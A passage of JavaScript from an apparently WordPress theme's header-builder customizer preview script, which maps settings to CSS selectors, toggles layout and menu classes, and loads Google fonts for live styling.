        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_input_size)': {
            'font-size': '.penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input',
        },
        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_btn_size)': {
            'font-size': '.pc-search-form-desktop.search-style-default i,.pc-search-form-desktop.search-style-icon-button .searchsubmit:before,.pc-search-form-desktop.search-style-text-button .searchsubmit',
        },
        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_input_size)': {
            'font-size': '.penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input',
        },
        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_btn_size)': {
            'font-size': '.pc-search-form-sidebar.search-style-default i,.pc-search-form-sidebar.search-style-icon-button .searchsubmit:before,.pc-search-form-sidebar.search-style-text-button .searchsubmit',
        },
        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_input_pdl)': {
            'padding-left': '.penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input'
        },
        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_input_pdr)': {
            'padding-right': '.penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input'
        },
        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_btn_pdl)': {
            'padding-left': '.penci-builder-element.pc-search-form-desktop .searchsubmit'
        },
        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_btn_pdr)': {
            'padding-right': '.penci-builder-element.pc-search-form-desktop .searchsubmit'
        },
        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_input_pdl)': {
            'padding-left': '.penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input'
        },
        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_input_pdr)': {
            'padding-right': '.penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input'
        },
        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_btn_pdl)': {
            'padding-left': '.penci-builder-element.pc-search-form-sidebar .searchsubmit'
        },
        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_btn_pdr)': {
            'padding-right': '.penci-builder-element.pc-search-form-sidebar .searchsubmit'
        },
        'setting(penci_header_pb_darkmode_section)(penci_header_pb_darkmode_bgcolor)': {
            '--pcdm_btnbg': 'body'
        },
        'setting(penci_header_pb_darkmode_section)(penci_header_pb_darkmode_d_color)': {
            '--pcdm_btnd': 'body'
        },
        'setting(penci_header_pb_darkmode_section)(penci_header_pb_darkmode_d_bgcolor)': {
            '--pcdm_btndbg': 'body'
        },
        'setting(penci_header_pb_darkmode_section)(penci_header_pb_darkmode_n_color)': {
            '--pcdm_btnn': 'body'
        },
        'setting(penci_header_pb_darkmode_section)(penci_header_pb_darkmode_b_bgcolor)': {
            '--pcdm_btnnbg': 'body'
        }
    }

    wp.customize('setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_height)', function (value) {
        value.bind(function (newval) {
            createCssRule('.penci-builder-element.pc-search-form-desktop,.penci-builder-element.pc-search-form-desktop.search-style-icon-button .search-input,.penci-builder-element.pc-search-form-desktop.search-style-text-button .search-input,.pc-search-form-desktop.search-style-icon-button .searchsubmit:before,.pc-search-form-desktop.search-style-text-button .searchsubmit', 'line-height:' + (newval - 2) + 'px;');
            createCssRule('.penci-builder-element.pc-search-form-desktop.search-style-default .search-input', 'line-height:' + (newval - 2) + 'px;padding-top:0;padding-bottom:0;');
        });
    });

    wp.customize('setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_height)', function (value) {
        value.bind(function (newval) {
            createCssRule('.penci-builder-element.pc-search-form.pc-search-form-sidebar,.penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-sidebar .search-input,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-sidebar .search-input,.pc-search-form-sidebar.search-style-icon-button .searchsubmit:before,.pc-search-form-sidebar.search-style-text-button .searchsubmit', 'line-height:' + (newval - 2) + 'px;');
            createCssRule('.penci-builder-element.pc-search-form-sidebar.search-style-default .search-input', 'line-height:' + (newval - 2) + 'px;padding-top:0;padding-bottom:0;');
        });
    });

    wp.customize('setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_menu_uppercase)', function (value) {
        value.bind(function (newval) {
            if ('enable' === newval) {
                createCssRule('.pc-builder-element.pc-main-menu', '--pchb-main-menu-tt: none;');
            } else {
                createCssRule('.pc-builder-element.pc-main-menu', '--pchb-main-menu-tt: uppercase;');
            }
        });
    });

    wp.customize('setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_menu_uppercase)', function (value) {
        value.bind(function (newval) {
            if ('enable' === newval) {
                createCssRule('.pc-builder-element.pc-second-menu', '--pchb-second-menu-tt: none;');
            } else {
                createCssRule('.pc-builder-element.pc-second-menu', '--pchb-second-menu-tt: uppercase;');
            }
        });
    });

    wp.customize('setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_menu_uppercase)', function (value) {
        value.bind(function (newval) {
            if ('enable' === newval) {
                createCssRule('.pc-builder-element.pc-third-menu', '--pchb-third-menu-tt: none;');
            } else {
                createCssRule('.pc-builder-element.pc-third-menu', '--pchb-third-menu-tt: uppercase;');
            }
        });
    });

    wp.customize('setting(penci_header_topbar_setting_section)(penci_header_topbar_content_width)', function (value) {
        value.bind(function (newval) {
            $('.penci-desktop-topbar .container').removeClass('container-normal container-1400 container-fullwidth container-custom').addClass(newval);
        });
    });

    wp.customize('setting(penci_header_topbar_setting_section)(penci_header_topbar_content_custom_width)', function (value) {
        value.bind(function (newval) {
            createCssRule('.penci-desktop-topbar .container.container-custom', 'width:' + newval + 'px;');
        });
    });

    wp.customize('setting(penci_header_topblockbar_setting_section)(penci_header_topblock_content_width)', function (value) {
        value.bind(function (newval) {
            $('.penci-desktop-topblock .container').removeClass('container-normal container-1400 container-fullwidth container-custom').addClass(newval);
        });
    });

    wp.customize('setting(penci_header_topblockbar_setting_section)(penci_header_topblock_content_custom_width)', function (value) {
        value.bind(function (newval) {
            createCssRule('.penci-desktop-topblock .container.container-custom', 'width:' + newval + 'px;');
        });
    });

    wp.customize('setting(penci_header_midbar_setting_section)(penci_header_midbar_content_width)', function (value) {
        value.bind(function (newval) {
            $('.penci-desktop-midbar .container').removeClass('container-normal container-1400 container-fullwidth container-custom').addClass(newval);
        });
    });

    wp.customize('setting(penci_header_midbar_setting_section)(penci_header_midbar_content_custom_width)', function (value) {
        value.bind(function (newval) {
            createCssRule('.penci-desktop-midbar .container.container-custom', 'width:' + newval + 'px;');
        });
    });

    wp.customize('setting(penci_header_bottombar_setting_section)(penci_header_bottombar_content_width)', function (value) {
        value.bind(function (newval) {
            $('.penci-desktop-bottombar .container').removeClass('container-normal container-1400 container-fullwidth container-custom').addClass(newval);
        });
    });

    wp.customize('setting(penci_header_bottombar_setting_section)(penci_header_bottombar_content_custom_width)', function (value) {
        value.bind(function (newval) {
            createCssRule('.penci-desktop-bottombar .container.container-custom', 'width:' + newval + 'px;');
        });
    });

    wp.customize('setting(penci_header_bottomblockbar_setting_section)(penci_header_bottomblock_content_width)', function (value) {
        value.bind(function (newval) {
            $('.penci-desktop-bottomblock .container').removeClass('container-normal container-1400 container-fullwidth container-custom').addClass(newval);
        });
    });

    wp.customize('setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_content_custom_width)', function (value) {
        value.bind(function (newval) {
            createCssRule('.penci-desktop-sticky-top .container.container-custom', 'width:' + newval + 'px;');
        });
    });

    wp.customize('setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_content_width)', function (value) {
        value.bind(function (newval) {
            $('.penci-desktop-sticky-top .container').removeClass('container-normal container-1400 container-fullwidth container-custom').addClass(newval);
        });
    });

    wp.customize('setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_content_custom_width)', function (value) {
        value.bind(function (newval) {
            createCssRule('.penci-desktop-sticky-mid .container.container-custom', 'width:' + newval + 'px;');
        });
    });

    wp.customize('setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_content_width)', function (value) {
        value.bind(function (newval) {
            $('.penci-desktop-sticky-mid .container').removeClass('container-normal container-1400 container-fullwidth container-custom').addClass(newval);
        });
    });

    wp.customize('setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_content_custom_width)', function (value) {
        value.bind(function (newval) {
            createCssRule('.penci-desktop-sticky-bottom .container.container-custom', 'width:' + newval + 'px;');
        });
    });

    wp.customize('setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_content_width)', function (value) {
        value.bind(function (newval) {
            $('.penci-desktop-sticky-bottom .container').removeClass('container-normal container-1400 container-fullwidth container-custom').addClass(newval);
        });
    });

    wp.customize('setting(penci_header_desktop_sticky_section)(penci_header_desktop_sticky_wrap_width)', function (value) {
        value.bind(function (newval) {
            $('.penci_builder_sticky_header_desktop').removeClass('container-normal container-1400 container-fullwidth container-custom').addClass(newval);
        });
    });

    // etc
    wp.customize('setting(penci_header_pb_dropdown_menu_section)(penci_header_pb_dropdown_menu_penci_vernav_click_parent)', function (value) {
        value.bind(function (newval) {
            if ('enable' === newval) {
                $('.pc-builder-menu.pc-dropdown-menu').removeClass('normal-click').addClass('penci-vernav-cparent');
            } else {
                $('.pc-builder-menu.pc-dropdown-menu').removeClass('penci-vernav-cparent').addClass('normal-click');
            }
        });
    });

    // search form
    wp.customize('setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_style)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder-element.pc-search-form')
                .removeClass('search-style-default search-style-text-button search-style-icon-button')
                .addClass('search-style-' + newval);
        });
    });

    wp.customize('setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_style)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder-element.pc-search-form-sidebar')
                .removeClass('search-style-default search-style-text-button search-style-icon-button')
                .addClass('search-style-' + newval);
        });
    });

    // social style
    wp.customize('setting(penci_header_pb_social_icon_section)(penci_header_pb_social_icon_section_icon_style)', function (value) {
        value.bind(function (newval) {
            $('.header-social.penci-builder-element .inner-header-social')
                .removeClass('penci-social-simple penci-social-square penci-social-circle')
                .addClass('penci-social-' + newval);
        });
    });

    wp.customize('setting(penci_header_pb_social_icon_section)(penci_header_pb_social_icon_section_icon_color)', function (value) {
        value.bind(function (newval) {
            $('.header-social.penci-builder-element .inner-header-social')
                .removeClass('penci-social-textaccent penci-social-textcolored penci-social-colored')
                .addClass('penci-social-' + newval);
        });
    });

    // mobile social style
    wp.customize('setting(penci_header_pb_social_icon_mobile_section)(penci_header_pb_social_icon_mobile_section_icon_style)', function (value) {
        value.bind(function (newval) {
            $('.header-social.mobile-social .inner-header-social')
                .removeClass('penci-social-simple penci-social-square penci-social-circle')
                .addClass('penci-social-' + newval);
        });
    });

    wp.customize('setting(penci_header_pb_social_icon_mobile_section)(penci_header_pb_social_icon_mobile_section_icon_color)', function (value) {
        value.bind(function (newval) {
            $('.header-social.mobile-social .inner-header-social')
                .removeClass('penci-social-textaccent penci-social-textcolored penci-social-colored')
                .addClass('penci-social-' + newval);
        });
    });

    // menu style
    wp.customize('setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_style)', function (value) {
        value.bind(function (newval) {
            $('.pc-builder-element.pc-main-menu nav')
                .removeClass('menu-style-1 menu-style-2')
                .addClass(newval);
        });
    });

    wp.customize('setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_header_enable_padding)', function (value) {
        value.bind(function (newval) {
            if ('disable' === newval) {
                $('.pc-builder-element.pc-main-menu nav')
                    .removeClass('menu-item-padding')
                    .addClass('menu-item-normal');
            } else {
                $('.pc-builder-element.pc-main-menu nav')
                    .removeClass('menu-item-normal')
                    .addClass('menu-item-padding');
            }
        });
    });

    wp.customize('setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_style)', function (value) {
        value.bind(function (newval) {
            $('.pc-builder-element.pc-second-menu nav')
                .removeClass('menu-style-1 menu-style-2')
                .addClass(newval);
        });
    });

    wp.customize('setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_header_enable_padding)', function (value) {
        value.bind(function (newval) {
            if ('disable' === newval) {
                $('.pc-builder-element.pc-second-menu nav')
                    .removeClass('menu-item-padding')
                    .addClass('menu-item-normal');
            } else {
                $('.pc-builder-element.pc-second-menu nav')
                    .removeClass('menu-item-normal')
                    .addClass('menu-item-padding');
            }
        });
    });

    wp.customize('setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_style)', function (value) {
        value.bind(function (newval) {
            $('.pc-builder-element.pc-third-menu nav')
                .removeClass('menu-style-1 menu-style-2')
                .addClass(newval);
        });
    });

    wp.customize('setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_header_enable_padding)', function (value) {
        value.bind(function (newval) {
            if ('disable' === newval) {
                $('.pc-builder-element.pc-third-menu nav')
                    .removeClass('menu-item-padding')
                    .addClass('menu-item-normal');
            } else {
                $('.pc-builder-element.pc-third-menu nav')
                    .removeClass('menu-item-normal')
                    .addClass('menu-item-padding');
            }
        });
    });

    wp.customize('setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_post_titles_uppercase)', function (value) {
        value.bind(function (newval) {
            if ('enable' === newval) {
                $('.penci-builder-element.penci-topbar-trending a.penci-topbar-post-title')
                    .removeClass('penci-enable-uppercase')
                    .addClass('penci-disable-uppercase');
            } else {
                $('.penci-builder-element.penci-topbar-trending a.penci-topbar-post-title')
                    .addClass('penci-enable-uppercase')
                    .removeClass('penci-disable-uppercase');
            }
        });
    });

    wp.customize('setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_disable_uppercase)', function (value) {
        value.bind(function (newval) {
            if ('enable' === newval) {
                $('.penci-builder-element.penci-topbar-trending .headline-title')
                    .removeClass('penci-enable-uppercase')
                    .addClass('penci-disable-uppercase');
            } else {
                $('.penci-builder-element.penci-topbar-trending .headline-title')
                    .addClass('penci-enable-uppercase')
                    .removeClass('penci-disable-uppercase');
            }
        });
    });

    wp.customize('setting(penci_header_pb_login_register_section)(penci_header_pb_login_register_text_uppercase)', function (value) {
        value.bind(function (newval) {
            if ('enable' === newval) {
                $('.penci-topbar-social .pclogin-item')
                    .addClass('penci-enable-uppercase')
                    .removeClass('penci-disable-uppercase');
            } else {
                $('.penci-topbar-social .pclogin-item')
                    .removeClass('penci-enable-uppercase')
                    .addClass('penci-disable-uppercase');
            }
        });
    });

    wp.customize('setting(penci_header_pb_dropdown_menu_section)(penci_header_pb_dropdown_menu_penci_menu_uppercase)', function (value) {
        value.bind(function (newval) {
            if ('enable' === newval) {
                $('.pc-builder-menu.pc-dropdown-menu .menu li a')
                    .removeClass('penci-enable-uppercase')
                    .addClass('penci-disable-uppercase');
            } else {
                $('.pc-builder-menu.pc-dropdown-menu .menu li a')
                    .addClass('penci-enable-uppercase')
                    .removeClass('penci-disable-uppercase');
            }
        });
    });

    var $center_row = {
        'setting(penci_header_topbar_setting_section)(penci_header_topbar_middle_column)': '.penci-desktop-topbar',
        'setting(penci_header_midbar_setting_section)(penci_header_middlebar_middle_column)': '.penci-desktop-midbar',
        'setting(penci_header_bottombar_setting_section)(penci_header_bottombar_middle_column)': '.penci-desktop-bottombar',
        'setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_middle_column)': '.penci-desktop-sticky-top',
        'setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_middle_column)': '.penci-desktop-sticky-mid',
        'setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_middle_column)': '.penci-desktop-sticky-bottom',
        'setting(penci_header_mobile_topbar_setting_section)(penci_header_mobile_topbar_middle_column)': '.penci-mobile-topbar',
        'setting(penci_header_mobile_midbar_setting_section)(penci_header_mobile_midbar_middle_column)': '.penci-mobile-midbar',
        'setting(penci_header_mobile_bottombar_setting_section)(penci_header_mobile_bottombar_middle_column)': '.penci-mobile-bottombar',
    }

    $.each($center_row, function ($setting, $selector) {
        wp.customize($setting, function (value) {
            value.bind(function (newval) {
                if ('enable' === newval) {
                    $($selector)
                        .removeClass('pcmiddle-normal')
                        .addClass('pcmiddle-center');
                } else {
                    $($selector)
                        .removeClass('pcmiddle-center')
                        .addClass('pcmiddle-normal');
                }
            });
        });
    });

    $.each($color_css, function ($settings_name, $selector) {
        wp.customize($settings_name, function (value) {
            value.bind(function (newval) {

                if (newval.length === 0) {
                    newval = 'initial';
                }

                if (typeof $selector === 'string') {

                    var childsector = $selector.split(",");
                    $.each(childsector, function ($count, $child_selector) {
                        createCssRule($child_selector, 'color:' + newval + ';');
                    });

                } else {
                    $.each($selector, function ($prop, $child_sec) {
                        if ($prop === 'font-family') {
                            newval = loading_font_name(newval);
                            loading_font_css(newval);
                        }
                        if ($prop === 'background-image') {
                            newval = 'url("' + newval + '")';
                        }

                        var childsector = $child_sec.split(",");
                        $.each(childsector, function ($count, $child_selector) {

                            var $prop_check = false;
                            if ($prop === 'font-weight') {
                                $prop_check = true;
                            }

                            newval = $.isNumeric(newval) && !$prop_check ? newval + 'px' : newval;
                            createCssRule($child_selector, $prop + ':' + newval + ';');
                        });

                    });
                }
            });
        });
    });

    var $hover_state = {
        'setting(penci_header_pb_login_register_section)(penci_header_pb_login_register_hv_color)': '.pc-header-element.pc-login-register a:hover',
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_menu_hv_color)': '.pc-builder-element.pc-main-menu .navigation .menu > li > a:hover',
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_submenu_hv_color)': '.pc-builder-element.pc-main-menu .navigation ul.menu ul.sub-menu a:hover',
        'setting(penci_header_pb_mobile_menu_section)(penci_header_pb_mobile_menu_color)': {
            'color': '.pc-builder-element.navigation.mobile-menu .button-menu-mobile',
            'fill': '.pc-builder-element.navigation.mobile-menu .button-menu-mobile svg',
        },
        'setting(penci_header_pb_mobile_menu_section)(penci_header_pb_mobile_menu_hv_color)': {
            'color': '.pc-builder-element.navigation.mobile-menu .button-menu-mobile:hover',
            'fill': '.pc-builder-element.navigation.mobile-menu .button-menu-mobile:hover svg',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_menu_bg_hv_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li > a:hover, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li:hover > a, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li.current-menu-item > a, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li.current_page_item > a, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li.current-menu-ancestor > a, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li.current-menu-item > a'
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_menu_hv_color)': '.pc-builder-element.pc-second-menu .navigation .menu > li > a:hover',
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_submenu_hv_color)': '.pc-builder-element.pc-second-menu .navigation ul.menu ul.sub-menu a:hover',
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_menu_bg_hv_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li > a:hover, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li:hover > a, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li.current-menu-item > a, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li.current_page_item > a, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li.current-menu-ancestor > a, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li.current-menu-item > a'
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_menu_hv_color)': '.pc-builder-element.pc-third-menu .navigation .menu > li > a:hover',

        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_submenu_hv_color)': '.pc-builder-element.pc-third-menu .navigation ul.menu ul.sub-menu a:hover',
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_menu_bg_hv_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li > a:hover, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li:hover > a, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li.current-menu-item > a, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li.current_page_item > a, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li.current-menu-ancestor > a, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li.current-menu-item > a'
        },
        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_btn_hv_color)': {
            'background-color': '.penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-desktop .searchsubmit:hover,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-desktop .searchsubmit:hover'
        },
        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_btnhtxt_color)': {
            'color': '.penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-desktop .searchsubmit:hover,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-desktop .searchsubmit:hover'
        },
        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_btn_hv_color)': {
            'background-color': '.penci-builder-element.pc-search-form-sidebar.search-style-icon-button .searchsubmit:hover,.penci-builder-element.pc-search-form-sidebar.search-style-text-button .searchsubmit:hover'
        },
        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_btnhtxt_color)': {
            'color': '.penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-sidebar .searchsubmit:hover,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-sidebar .searchsubmit:hover'
        },
        'setting(penci_header_pb_social_icon_section)(penci_header_pb_social_icon_section_bg_hv_color)': {
            'background-color': '.penci-builder-element .inner-header-social a:hover i',
        },
        'setting(penci_header_pb_social_icon_section)(penci_header_pb_social_icon_section_border_hv_color)': {
            'border-color': '.penci-builder-element .inner-header-social a:hover i',
        },
        'setting(penci_header_pb_social_icon_section)(penci_header_pb_social_icon_section_hv_color)': {
            'color': '.penci-builder-element .inner-header-social a:hover,.penci-builder-element .inner-header-social a:hover i',
        },
        'setting(penci_header_pb_hamburger_menu_section)(penci_header_pb_hamburger_menu_hv_color)': {
            'background-color': '.pc-builder-element a.penci-menuhbg-toggle:hover .lines-button:after, .pc-builder-element a.penci-menuhbg-toggle.builder:hover .penci-lines:before,.pc-builder-element a.penci-menuhbg-toggle.builder:hover .penci-lines:after',
        },
        'setting(penci_header_pb_hamburger_menu_section)(penci_header_pb_hamburger_menu_bcolor)': {
            'border-color': '.pc-builder-element a.penci-menuhbg-toggle',
        },
        'setting(penci_header_pb_hamburger_menu_section)(penci_header_pb_hamburger_menu_bhcolor)': {
            'border-color': '.pc-builder-element a.penci-menuhbg-toggle:hover',
        },
        'setting(penci_header_pb_hamburger_menu_section)(penci_header_pb_hamburger_menu_bgcolor)': {
            'background-color': '.pc-builder-element a.penci-menuhbg-toggle',
        },
        'setting(penci_header_pb_hamburger_menu_section)(penci_header_pb_hamburger_menu_bghcolor)': {
            'background-color': '.pc-builder-element a.penci-menuhbg-toggle:hover',
        },
        'setting(penci_header_pb_hamburger_menu_section)(penci_header_pb_hamburger_menu_btnbstyle)': {
            'border-style': '.pc-builder-element a.penci-menuhbg-toggle',
        },
        'setting(penci_header_pb_social_icon_mobile_section)(penci_header_pb_social_icon_mobile_section_bg_hv_color)': {
            'background-color': '.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a:hover',
        },
        'setting(penci_header_pb_social_icon_mobile_section)(penci_header_pb_social_icon_mobile_section_border_hv_color)': {
            'border-color': '.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a:hover',
        },
        'setting(penci_header_pb_social_icon_mobile_section)(penci_header_pb_social_icon_mobile_section_hv_color)': {
            'color': '.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a:hover,.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a:hover i',
        },
        'setting(penci_header_pb_dropdown_menu_section)(penci_header_pb_dropdown_menu_penci_menu_hv_color)': '.pc-builder-menu.pc-dropdown-menu .menu li a:hover,.pc-builder-menu.pc-dropdown-menu .menu > li.current_page_item > a',
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_mega_accent_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu .penci-megamenu .penci-mega-child-categories a:hover, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu .penci-megamenu .penci-mega-latest-posts .penci-mega-post .post-mega-title a:hover',
            'background-color': '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-thumbnail .mega-cat-name',
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_mega_accent_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu .penci-megamenu .penci-mega-child-categories a:hover, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu .penci-megamenu .penci-mega-latest-posts .penci-mega-post .post-mega-title a:hover',
            'background-color': '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-thumbnail .mega-cat-name',
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_mega_accent_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu .penci-megamenu .penci-mega-child-categories a:hover, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu .penci-megamenu .penci-mega-latest-posts .penci-mega-post .post-mega-title a:hover',
            'background-color': '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-thumbnail .mega-cat-name',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_menu_line_hv_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation ul.menu > li > a:before, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu > ul > li > a:before'
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_menu_line_hv_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation ul.menu > li > a:before, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu > ul > li > a:before'
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_menu_line_hv_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation ul.menu > li > a:before, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu > ul > li > a:before'
        },
    }

    $.each($hover_state, function ($settings_name, $selector) {
        wp.customize($settings_name, function (value) {
            value.bind(function (newval) {

                if (newval.length === 0) {
                    newval = 'initial';
                }

                if (typeof $selector === 'string') {

                    var childsector = $selector.split(",");
                    $.each(childsector, function ($count, $child_selector) {
                        createCssRule($child_selector, 'color:' + newval + ';');
                    });

                } else {
                    $.each($selector, function ($prop, $child_sec) {
                        if ($prop === 'font-family') {
                            newval = loading_font_name(newval);
                            loading_font_css(newval);
                        }
                        if ($prop === 'background-image') {
                            newval = 'url("' + newval + '")';
                        }


                        var childsector = $child_sec.split(",");
                        $.each(childsector, function ($count, $child_selector) {
                            newval = $.isNumeric(newval) && $child_selector !== 'font-height' ? newval + 'px' : newval;
                            createCssRule($child_selector, $prop + ':' + newval + ';');
                        });

                    });
                }
            });
        });
    });


    function loading_font_name(value) {
        var values = value.split(",");
        return values[0];
    }

    function loading_font_css(value) {
        value = value.replace('"', '').replace('"', ':300,400,500,600,700,900:latin,greek');
        WebFont.load({
            google: {
                families: [value]
            }
        });
    }

    function spacing_elements(value, elector) {
        var values = value.replaceAll(" ", "");
        values = values.split(",");
        if (values[0] !== "-" && values[0]) {
            createCssRule(elector, 'margin-top:' + values[0] + 'px;');
        }
        if (values[1] !== "-" && values[1]) {
            createCssRule(elector, 'margin-right:' + values[1] + 'px;');
        }
        if (values[2] !== "-" && values[2]) {
            createCssRule(elector, 'margin-bottom:' + values[2] + 'px;');
        }
        if (values[3] !== "-" && values[3]) {
            createCssRule(elector, 'margin-left:' + values[3] + 'px;');
        }

        if (values[4] !== "-" && values[4]) {
            createCssRule(elector, 'padding-top:' + values[4] + 'px;');
        }
        if (values[5] !== "-" && values[5]) {
            createCssRule(elector, 'padding-right:' + values[5] + 'px;');
        }
        if (values[6] !== "-" && values[6]) {
            createCssRule(elector, 'padding-bottom:' + values[6] + 'px;');
        }
        if (values[7] !== "-" && values[7]) {
            createCssRule(elector, 'padding-left:' + values[7] + 'px;');
        }

        if (values[8] !== "-" && values[8]) {
            createCssRule(elector, 'border-top-width:' + values[8] + 'px;');
        }
        if (values[9] !== "-" && values[9]) {
